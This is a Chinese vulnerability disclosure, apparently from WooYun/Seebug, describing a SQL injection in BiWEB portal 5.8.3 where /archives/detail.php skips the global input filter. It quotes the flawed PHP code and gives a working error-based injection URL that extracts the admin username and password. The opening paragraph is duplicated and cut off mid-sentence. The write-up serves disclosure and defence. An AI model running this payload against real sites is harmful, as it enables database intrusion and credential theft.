### 简要描述: BiWEB最新门户版注入又一枚,全局过滤的一个遗漏点 ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。 先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php,每个有用户输入的地方,BiWEB都在文件最前面通过文件包含的方式用filtrate.inc.php中的过滤方法对用户输入进行过滤。举个例子说明一下。/index.php文件中通过require_once('config/config.inc.php')来包含config/config.inc.php,而config/config.inc.php中又使用了require_once('filtrate.inc.php')来把filtrate.inc.php包含进来,filtrate.inc.php中的过滤方法如下 ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 而有些文件虽然有require_once('config/config.inc.php')语句,但是该语句包含的并不是/config中的config.inc.php,如/archives/include/detail.inc.php中包含的config/config.inc.php则是/archives/config/config.inc.php,而该文件中并没有...
### 简要描述: BiWEB最新门户版注入又一枚,全局过滤的一个遗漏点 ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。 先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php,每个有用户输入的地方,BiWEB都在文件最前面通过文件包含的方式用filtrate.inc.php中的过滤方法对用户输入进行过滤。举个例子说明一下。/index.php文件中通过require_once('config/config.inc.php')来包含config/config.inc.php,而config/config.inc.php中又使用了require_once('filtrate.inc.php')来把filtrate.inc.php包含进来,filtrate.inc.php中的过滤方法如下 ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 而有些文件虽然有require_once('config/config.inc.php')语句,但是该语句包含的并不是/config中的config.inc.php,如/archives/include/detail.inc.php中包含的config/config.inc.php则是/archives/config/config.inc.php,而该文件中并没有 require_once('filtrate.inc.php')语句,使的这个文件没有引入全局过滤。 继续往下看,BiWEB还有几处有类似问题。举一例来说。/archives/include/detail.inc.php ``` 无关代码 $objWebInit = new archives(); //数据库连接参数 $objWebInit->setDBG($arrGPdoDB); //smarty参数 $arrGSmarty['caching'] = false; $objWebInit->arrGSmarty = $arrGSmarty; $objWebInit->db(); $arrInfo = $objWebInit->getInfo($_GET['id']); 无关代码 ``` 继续去看看getInfo(),在/web_common5.8/php_common.php ``` function getInfo($intInfoID,$field = '*',$pass=null,$add=false){ if($add) $this->updateClicktimes(" Where id =".$intInfoID); if($pass!=null) $where= " and pass='$pass'"; else $where=''; $strSQL = "SELECT $field FROM $this->tablename2 ". " Where id ='".$intInfoID."'".$where; $rs = $this->db->query($strSQL); $arrData = $rs->fetchall(); if(!empty($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData); return current($arrData); } ``` 由于这里没有引入全局过滤,在整个过程中也没有对id进行任何过滤,所以造成了注入。 单引号被成功引入 [<img src="https://images.seebug.org/upload/201411/22225505072f6b17146a8a406d264cfee4b132f7.jpg" alt="单引号直接引入副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/22225505072f6b17146a8a406d264cfee4b132f7.jpg) 本次测试是基于error-based blind做的测试,payload如下 ``` http://192.168.0.107/archives/detail.php?id=1' or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password,0x23)from biweb_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or' ``` 成功注入,管理员用户名及密码如下图中所示: [<img src="https://images.seebug.org/upload/201411/22225517ca49e4aabfa693665ce22379cea71a79.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/22225517ca49e4aabfa693665ce22379cea71a79.jpg) ### 漏洞证明: 见 详细说明